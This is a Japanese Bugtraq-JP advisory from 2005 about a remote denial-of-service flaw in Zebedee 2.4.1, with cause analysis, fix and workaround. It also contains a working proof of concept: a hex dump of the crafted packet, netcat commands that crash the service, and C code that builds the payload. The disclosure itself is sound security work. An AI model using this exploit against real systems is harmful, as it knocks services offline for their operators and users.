[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Zebedee DoS の脆弱性
- To: <bugtraq-jp@xxxxxxxxxxxxxxxxx>
- Subject: Zebedee DoS の脆弱性
- From: "Shiraishi.M" <shiraishi@xxxxxxxxxx>
- Date: Fri, 9 Sep 2005 14:09:42 +0900
Zebedee に、リモートからサービスを停止させることのできる脆弱性を発見しまし
た。この問題は Zebedee 2.4.1A で修正されています。
1) 問題を確認したバージョン
Zebedee 2.4.1 の Windows版、および ソースからコンパイルした Linux版におい
て、この問題を確認しました。
2) 現象
クライアントからのプロトコルオプションヘッダ送信時に、転送先ポート番号として
0 を指定することで、サービスが停止します。
$ od -tx1z -Ax zebedeeDoS
000000 02 01 00 00 20 00 00 06 00 00 00 80 ff ff ff ff >.... ...........<
000010 0b d8 30 b3 21 9c a6 74 00 00 00 00 >..0.!..t....<
00001c
ポート番号を指定する部分(9バイト目と10バイト目)に 0x00 が入っています。
$ nc -vv -z -w2 zebedeehost 11965
zebedeehost [192.168.xxx.xxx] 11965 (?) open
sent 0, rcvd 0
$ nc -vv zebedeehost 11965 < zebedeeDoS
zebedeehost [192.168.xxx.xxx] 11965 (?) open
sent 28, rcvd 2
$ nc -vv -z -w2 zebedeehost 11965
zebedeehost [192.168.xxx.xxx] 11965 (?) : Connection refused
sent 0, rcvd 0
$
3) 原因
zebedee.c の 1705 行目、関数 makeConnection( )内において、ポート番号が 0 か
どうかをチェックする部分に、assert( ) 関数が使用されています。
1703 /* Sanity check */
1704
1705 assert(host != NULL && port != 0);
1706
ここで、port が 0 であった場合にプロセスが停止し、親プロセスも終了するようで
す。
なお、この現象は、サービスの設定において、転送先ポートの制限が行われていない
場合に発現します。
デフォルトでは転送先ポートの制限は無効になっています。
4) 回避策
問題を修正した Zebedee 2.4.1A がリリースされています。
あるいは、サービスにおいて、転送するポートを制限することによっても、この現象
を回避できるようです(設定ファイル内に target localhost:5900-5999/tcp などの
記述をする)。
5) サンプルコード
/*
$ gcc -o mkZebedeeDoS mkZebedeeDoS.c
$ ./mkZebedeeDoS > zebedeeDoS
$ nc targethost port < zebedeeDoS
*/
#include <stdio.h>
int main (int argc, char **argv)
{
int i, size;
char data[] = {
0x02, 0x01, // protocol version
0x00, 0x00, // flags
0x20, 0x00, // max message size
0x00, 0x06, // compression info
0x00, 0x00, // port request: value = 0x0
0x00, 0x80, // key length
0xff, 0xff, 0xff, 0xff, // key token
0x0b, 0xd8, 0x30, 0xb3, 0x21, 0x9c, 0xa6, 0x74, // nonce value
0x00, 0x00, 0x00, 0x00 // target host address
};
size = 28;
for(i=0; i<size; i++){
printf("%c", data[i]);
}
return 0;
}
6) 発見者
インターナショナル・ネットワーク・セキュリティ株式会社 技術本部
白石 三晃
佐名木 智貴
Mutallip Ablimit
-----------------
International Network Security, Inc.
Shiraishi.M
<shiraishi@xxxxxxxxxx>